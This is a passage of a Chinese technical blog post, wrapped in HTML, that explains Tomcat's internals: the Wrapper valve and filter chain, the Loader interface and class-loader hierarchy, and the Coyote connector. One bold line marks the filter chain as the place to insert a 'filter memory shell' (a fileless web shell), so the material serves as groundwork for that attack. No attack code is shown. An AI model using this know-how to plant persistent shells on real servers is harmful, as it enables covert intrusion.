</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">Wrapper容器的基本阀门StandardWrapperValve还会在调用servelt容器之前调用用户配置的过滤器链Filter。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;"> </span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;font-weight:bold;">此处插入filter内存马</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">应用程序中的servlet只能引用部署在WEB-INF/classes目录及其子目录下的类。但是，servlet类不能访问其它路径中的类，即使这些累包含在运行当前Tomcat的JVM的CLASSPATH环境变量中</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 108.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">servlet类只能访问WEB-INF/LIB目录下的库，其它目录的类库均不能访问</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 72.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">–</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">              <shape type="#_x0000_t75" filled="f" style="text-indent:0;left:0;width:420.0pt;height:516.7058pt;"><imagedata title="rId21"></imagedata></shape><img class="rich_pages wxw-img" data-ratio="1.230357142857143" style="width:553.8084106445312px;height:688.9500122070312px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=3274ceae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKDQyJQDHx4YxEqbGgLmptRCEflkvFcKWcPmHHNO78QSxGtIWkK85Zwg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat容器;"><span style="font-family:Cambria;">              </span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Calibri;">tomcat类加载器</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">Tomcat中的载入器值得是Web应用程序载入器，而不仅仅是类载入器，载入器必须实现Loader接口</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="">public interface Loader {</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              

              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public void backgroundProcess();</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>当Context容器开启了Reload功能并且仓库变更的情况下，Loaders会先把类加载器设置为Web类加载器，重启Context容器。重启Context容器会重启所有的子Wrapper容器，会销毁并重新创建servlet类的实例，从而达到动态加载servlet类的目的</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public ClassLoader getClassLoader();</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>默认的类加载器的实现有两种种：ParallelWebappClassLoader和WebappClassLoader。默认情况下使用ParallelWebappClassLoader作为类加载器</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>+ WebappClassLoader会缓存之前已经载入的类来提升性能，还会缓存加载失败的类的名字存放ResourceEntry类实例中，若失败，当再次请求加载同一个类的时候，类加载器就会直接抛出ClassNotFindException异常，而不是再次去查找这个类</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>1. 因为所有已经载入的类都会缓存起来，所以载入类的时候要先检查本地缓存。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>2. 若本地缓存没有，则检查父类加载器的缓存，调用ClassLoader接口的findLoadedClass()方法。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>3. 若两个缓存总都没有，则使用系统类加载器进行加载，防止Web应用程序中的类覆盖J2EE中的类。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>4. 若启用了SecurityManager，则检查是否允许载入该类。若该类是禁止载入的类，抛出ClassNotFoundException异常。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>5. 若打开了标志位delegate，或者待载入的在类不能用web类加载器加载的类，则使用父类加载器来加载器来加载相关类。如果父类加载器为null，则使用系统类加载器。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>6. 从当前仓库载入类。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>7. 当前仓库没有需要载入的类，而且delegate关闭，则是用父类载入器来载入相关的类。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>8. 若没有找到需要加载的类，则抛出ClassNotFindException。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public Context getContext();</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public void setContext(Context context);</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>用来将载入器和某个servlet容器关联</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public boolean getDelegate();</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public void setDelegate(boolean delegate);</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>载入器的实现会指明是否要委托给父类的载入器，可以通过setDelegate()和getDelegate方法配置。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public void addPropertyChangeListener(PropertyChangeListener listener);</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public boolean modified();</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>在载入器的具体实现中，如果仓库中的一个或者多个类被修改了，那么modified()方法必须放回true，才能提供自动重载的支持。</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>WebappLoader类支持自动重载功能。如果WEB-INF/classes目录或者WEB-INF/lib目录下的某些类被重新编译了，那么这个类会自动重新载入，而无需重启Tomcat。为了实现此目的，WebappLoader类使用一个线程周期性的检查每个资源的时间戳。间隔时间由变量checkInterval指定，单位为s，默认情况下，checkInterval的值为15s</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span></span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style=""><span style="mso-spacerun:yes;">    </span>public void removePropertyChangeListener(PropertyChangeListener listener);</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">              </span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="">}</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">除了加载</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;font-weight:bold;">web应用</span></span></span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">默认使用的WebappLoader类加载器，还有其他几种加载器</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;"><img class="rich_pages wxw-img" data-ratio="0.8" style="width:553.8084106445312px;height:447.54998779296875px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=20d58ff6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKaLicGUdAEXSsHAvLMywjsjKTwibwibxfwfPwnPPxvHibT9ExFJuKvBOxicA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">Common类加载器，Cataline类加载器和Shared类加载器会在Tomcat容器启动的时候就初始化完成，</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">Webapp类加载器则是在Context容器启动时候有WebappLoader初始化</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">程上下文类加载器线程上下文类加载器是指的当前线程所用的类加载器，可以通过Thread.currentThread().getContextClassLoader()获得或者设置。在spring中，他会选择线程上下文类加载器去加载web应用底下的类，如此就打破了双亲委托机制</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="font-family:Cambria;">找到web.xml中的url-pattern-&gt;servlet-name-&gt;servlet-class-&gt;class extends HttpServlet</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat类加载器;"><span style="">，如果十个web应用都引入了spring的类，由于web类加载器的隔离，那么对内存的开销是很大的。此时我们可以想到shared类加载器，我们肯定都会选择将spring的jar放于shared目录底下，但是此时又会存在一个问题，shared类加载器是webapp类加载器的parent，若spring中的getBean方法需要加载web应用底下的类，这种过程是违反双亲委托机制的</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Calibri;">tomcat连接器</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;"><img data-ratio="1.0571428571428572" style="width:553.8084106445312px;height:591.52001953125px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=28adfbff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IK7PEUqK6SibeQ3orlnZBdofXWCo13Cq1LicBrIx9P7YraZDk8X1CNT6Rg%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Service组件包含两种组件：连接器和Servlet容器</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">每个连接器组件Connector都可以指定一个Servlet容器处理其解析得到的Request和Response，所以Service的功能比较简单，就是为Service中的每个组件设置Servlet容器</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">每个连接器组件Connector都可以指定一个Servlet容器处理其解析得到的Request和Response，所以Service的功能比较简单，就是为Service中的每个组件设置Servlet容器</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Tomcat中就是通过连接器Connector来管理Socket连接、解析Scoket请求为Request并封装响应数据为Response对象</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Coyote作为独立的模块，只负责具体协议和I/O的处理，与Servlet规范实现没有直接关系，因此即便是Request和Response对象也并未实现Servlet规范对应的接口，而是在Catalina中将他们进一步封装为ServletRequest何ServletResponse。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Coyote是Tomcat链接器框架的名称，是Tomcat服务器提供的供客户端访问的外部接口。客户端通过Coyote与服务器建立链接、发送请求并且接收响应</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Coyote封装了底层的网络通信（Socket请求以及响应处理），为Catalina容器提供了统一的接口，是Catalina容器与具体的请求协议以及 I/O方式解耦。Coyote将Socket输入转换为Request对象，交由Catalina容器进行处理，处理请求完成之后，Catalina通过Coyote提供的Response对象将结果写入输出流。</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;"><img data-ratio="0.45357142857142857" style="width:553.8084106445312px;height:253.99000549316406px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=e050bc0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKDyLb8zRDaFiaDALqSygZLzyhQ6UmgAkHWSsxXIcWqrVTQXsZM9JZ21A%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Coyote框架支持HTTP/1.1协议、AJP协议、HTTP/2.0协议</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">针对HTTP和AJP协议，Coyote又按照 I/O方式分别提供了不同的选择方案</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">1.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">NIO：采用Java NIO类库实现。（默认）</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">2.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">NIO2：采用JDK 7最新的NIO2类库实现。</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">3.</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">APR：采用APR（Apache可移植运行库）实现</span></span></span></p><p style=""><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;"><img data-ratio="1.0339285714285715" style="width:553.8084106445312px;height:578.989990234375px;" data-type="png" data-w="560" src="https://wechat2rss.xlab.app/img-proxy/?k=958a9f74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCdvmO2kwf9IKzkHKibT115IKmINW95E8bQ1ZYibfRxeGibu8kwS31VvfPfNqviae7qQbRKmmAoFuk7ZOA%2F640%3Fwx_fmt%3Dpng"/></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;font-weight:bold;">这张图可能是我理解有问题，我并没有看出来任何不同协议的解析方式的区别在这张图上有体现</span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">在Connector中有如下几个核心概念：</span></span></span></p><p style="mso-style-parent: &#39;&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;margin-left: 36.0pt;text-indent: -24.0pt;"><span style="font-family:Cambria;">•</span><span style="mso-bookmark:tomcat-1;"><span style="mso-bookmark:tomcat连接器;"><span style="font-family:Cambria;">Endpoint：Coyote通信端点，即通信监听的接口，是具体的Socker接收处理类，是对传输层的抽象。Tomcat并没有Endpoint接口，而是提供了一个抽象类AvstractEndpoint。根据I/O方式的不同，提供了NioEndpoint（NIO）、AprEndpoint（APR）以及Nio2Endpoint（NIO2）三个实现。</span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;line-height: normal;word-break: break-all;font-size: 